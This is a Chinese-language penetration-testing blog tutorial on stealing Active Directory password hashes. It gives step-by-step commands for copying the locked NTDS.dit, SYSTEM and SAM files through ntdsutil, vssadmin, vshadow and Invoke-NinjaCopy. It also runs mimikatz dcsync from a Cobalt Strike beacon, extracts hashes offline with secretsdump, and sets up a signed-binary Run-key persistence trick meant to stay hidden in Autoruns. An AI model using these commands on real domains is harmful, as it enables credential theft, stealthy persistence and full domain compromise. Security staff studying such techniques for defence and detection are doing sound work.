• 渗透测试-域内密码凭证获取


    Ntds.dit

    活动目录数据库(NTDS.DIT)
    Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。

    非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

    AD DS 数据存储:

    由 Ntds.dit 文件构成。

    默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中

    只能通过域控制器进程和协议访问。

    Ntds.dit:包含了当前域中所有的用户的账号信息,和其HASH值通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。
    由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。

    ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
    system文件位置: C:\Windows\System32\config\SYSTEM
    sam文件位置: C:\Windows\System32\config\SAM
    
    • 1
    • 2
    • 3

    活动目录数据库

    由 NTDS.DIT 文件构成,是Active Directory的核心

    存储在域控的 *%SystemRoot%\ntds* 文件夹下

    只能通过域控制器进程和协议访问

    在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
    在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值

    因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。

    Windows系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。

    因此想要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件。

    由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复NTDS.DIT 文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。

    Volume Shadow Copy

    Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。

    用于数据备份。

    支持 Windows Server 2003 及以上操作系统。

    系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定。

    禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows ServerBackup,我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。

    注意:

    1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志, Event ID 为7036。
    2. 执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生 Event ID 为 98 的日志。
    hash数量:所有用户
    免杀:不需要
    优点:
    获得信息全面
    简单高效
    无需下载ntds.dit,隐蔽性高
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    Ntdsutil

    Ntdsutil.exe 是一个命令行工具,它为 Active Directory 域服务 (AD DS) 和Active Directory 轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行AD DS 的数据库维护,管理和控制单个主机操作,并删除域控制器留下的元数据,这些域控制器在未正确卸载的情况下从网络中删除。

    域环境默认安装,要使用 Ntdsutil.exe ,您必须从管理员命令提示符运行。

    如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用dsdbutil.exe 和 dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。

    支持系统:

    Windows Server 2003
    Windows Server 2008
    Windows Server 2012
    
    • 1
    • 2
    • 3

    交互式

    方法一:

    1. 以管理员身份打开命令提示符(cmd.exe)
    2. 在命令提示符输入 ntdsutil 命令
    3. 在 ntdsutil 提示符下输入
    
    ntdsutil  #进入ntdsutil命令行
    activate instance ntds  #激活 AD DS 实例
    
    snapshot
    create
    mount [GUID]
    copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述另打开一个终端:
    在这里插入图片描述
    然后删除快照。
    在这里插入图片描述

    方法二:

    1. 以管理员身份打开命令提示符(cmd.exe)
    2. 在命令提示符输入 ntdsutil 命令
    3. 在 ntdsutil 提示符下输入
    
    activate instance ntds #激活 AD DS 实例
    
    ifm  #为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质。
    
    create full <Drive >:\<Folder>  #为可写 Active Directory 域控制器或 AD LDS 实例创建安装介质到指定文件夹中
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    <Drive > :\<Folder>是要创建文件的文件夹路径。
    
    • 1

    查看是否成功读取成功:
    在这里插入图片描述

    非交互式

    查询当前系统的快照

    ntdsutil snapshot "List All" quit quit
    ntdsutil snapshot "List Mounted" quit quit
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    创建快照

    ntdsutil snapshot "activate instance ntds" create quit quit
    
    • 1

    在这里插入图片描述
    GUID:{38319164-2abd-4381-bb19-fb3d3d6edaeb}

    挂载快照

    ntdsutil snapshot "mount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
    
    • 1

    在这里插入图片描述
    快照挂载为 C:\$SNAP_202208182153_VOLUMEC$\

    复制ntds.dit

    copy C:\$SNAP_202208182153_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
    
    copy C:\$SNAP_202208182153_VOLUMEC$\windows\system32\config\SYSTEM c:\SYSTEM
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    卸载快照

    ntdsutil snapshot "unmount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
    
    • 1

    在这里插入图片描述

    删除快照

    ntdsutil snapshot "delete {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
    
    • 1

    在这里插入图片描述

    Vssadmin

    vssadmin:卷影复制服务管理命令行工具

    域环境默认安装
    支持系统:

    Windows Server 2003
    Windows Server 2008
    Windows Server 2012
    
    • 1
    • 2
    • 3

    查询当前系统的快照

    vssadmin list shadows
    
    • 1

    在这里插入图片描述

    创建快照

    vssadmin create shadow /for=c:
    
    • 1

    获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

    复制ntds.dit

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit
    
    • 1

    删除快照

    vssadmin delete shadows /for=c: /quiet
    
    • 1

    在这里插入图片描述

    Vshadow

    Vshadow ( vshadow.exe ): 是用于管理卷影副本的命令行实用程序。此工具包含在Microsoft Windows Software Development Kit (SDK) 中,有 Microsoft 签名。
    Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。

    查询当前系统的快照

    vshadow.exe -q
    
    • 1

    在这里插入图片描述

    创建快照

    vshadow.exe -p -nw C:
    参数说明:
    -p persistent,备份操作,重启系统不会删除
    -nw no writers,用来提高创建速度
    C: 对应c盘
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    获得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name

    复制ntds.dit

    copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
    
    • 1

    在这里插入图片描述

    删除快照

    vshadow -dx={SnapshotSetID}
    vshadow -ds={SNAPSHOT ID}
    
    • 1
    • 2

    在这里插入图片描述

    利用vshdow执行命令

    Vshadow.exe 支持 -exec 参数,可用于执行二进制文件(.exe)或脚本(.bat/.cmd)

    -exec 参数不支持命令参数。

    要求:

    管理员权限
    上传 Vshadow.exe
    上传攻击载荷
    
    • 1
    • 2
    • 3

    执行命令格式:

    vshadow.exe -nw -exec=<\path\to\exe> <系统驱动器>
    
    • 1

    -nw:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“物理”磁盘证据。

    执行命令:

    beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
    [*] Tasked beacon to run: vshadow.exe -nw -
    exec=c:\windows\system32\notepad.exe c:
    [+] host called home, sent: 87 bytes
    
    • 1
    • 2
    • 3
    • 4

    成功执行 Vshadow 将启动卷影服务 (VSS),如系统事件 ID 7036 所示,并调用VSSVC.exe 进程。

    执行后,后台存在进程 VSSVC.exe ,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe。

    注:手动关闭进程 VSSVC.exe 会生成日志 7034

    自启动持久化和规避

    利用思路:
    vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns 的默认启动列表不显示。

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\vshadow.exe -nw - exec=c:\windows\system32\notepad.exe c:" 
    
    • 1

    在 AutoRuns 中,当过滤 Microsoft Entries 时,我们将看不到我们的登录条目。

    但是,如果我们取消选择 Microsoft Entries 并启用Windows Entries ,我们将看到我们的持久性机制的记录。
    在这里插入图片描述

    NinjaCopy

    使用 PowerShell 复制 NTDS.dit / Registry Hives ,绕过 SACL/ DACL / File
    Locks

    下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1
    
    • 1

    用于获取哈希的技术要么依赖于将代码注入 LSASS ,要么使用卷影复制服务来获取包含哈希的文件
    的副本。

    Invoke-NinjaCopy ,一个 PowerShell 脚本,能够通过获取卷的读取句柄并解析NTFS 来复制 NTDS.dit 、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM 、注入到 SYSTEM 进程或启动新服务/可疑程序。

    原理简述:获取 C 卷的读取句柄(管理员帐户可以执行此操作),能够读取整个卷的原始字节。然后,解析 C 卷上的 NTFS 结构,确定特定文件的字节在卷上的位置,扫描到该位置并复制文件字节。

    Import-Module .\invoke-NinjaCopy.ps1
    Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
    Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
    Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在CS使用该命令时只需要在前边加上powershell即可。

    powershell Import-Module .\invoke-NinjaCopy.ps1
    
    • 1
    powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
    
    • 1
    powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
    
    • 1
    powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"
    
    • 1

    解密Ntds.dit文件

    mimikatz在线破解

    在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。

    有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权
    限。Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

    使用Mimikatz的 dcsync 功能,可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值。

    在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。

    获取zsyy域内所有用户Hash

    lsadump::dcsync /domain:zsyy.local /all /csv
    
    • 1

    请添加图片描述
    查看john用户的详细信息

     lsadump::dcsync /domain:zsyy.local /user:john
    
    • 1

    在这里插入图片描述
    查看所有用户的详细信息

    lsadump::lsa /inject
    
    • 1

    在这里插入图片描述

    离线破解

    离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。

    ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。

    首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。

    QuarksPwDump

    QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

    需要上传到目标主机执行(获取目标主机的 SYSKEY 解密 ntds.dit ),但是容易被杀软查杀。

    1. 修复复制出来的数据库
    esentutl /p /o ntds.dit
    
    • 1
    SecretsDump

    通过 impacket 套件中的 secretsdump.py 脚本。

    secretsdump.exe -sam sam.hive -system system.hive -ntds ntds.dit LOCAL
    
    • 1

    在这里插入图片描述

    扩展

    1. 日志文件
      调用 Volume Shadow Copy 服务会产生日志文件,位于System下, Event ID 为 7036。

    执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生Event ID 为98的日志文件。

    在这里插入图片描述

    1. 访问快照中的文件
      查看快照列表:
    vssadmin list shadows
    
    • 1

    在这里插入图片描述

    无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件可通过创建符号链接访问快照中的文件:

    mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
    
    • 1

    在这里插入图片描述
    删除符号链接:

    rd c:\testvsc
    
    • 1
  • 相关阅读:
    Java泛型中的T与?
    3.5-构建自己的Docker镜像
    (附源码)springboot酒店管理平台 毕业设计 201010
    胰蛋白酶中英文说明书
    nodejs+vue大学生社团管理系统
    赛码网的输入规则(Jsv8)
    Java8 方法引用 (::) 使用
    哈夫曼编码原理
    OpenGL —— 2.8、漫游之摄像机飞行移动(附源码,glfw+glad)
    《C++ Primer Plus》《9、内存模型和名称空间》
  • 原文地址:https://blog.csdn.net/qq_61503377/article/details/126413442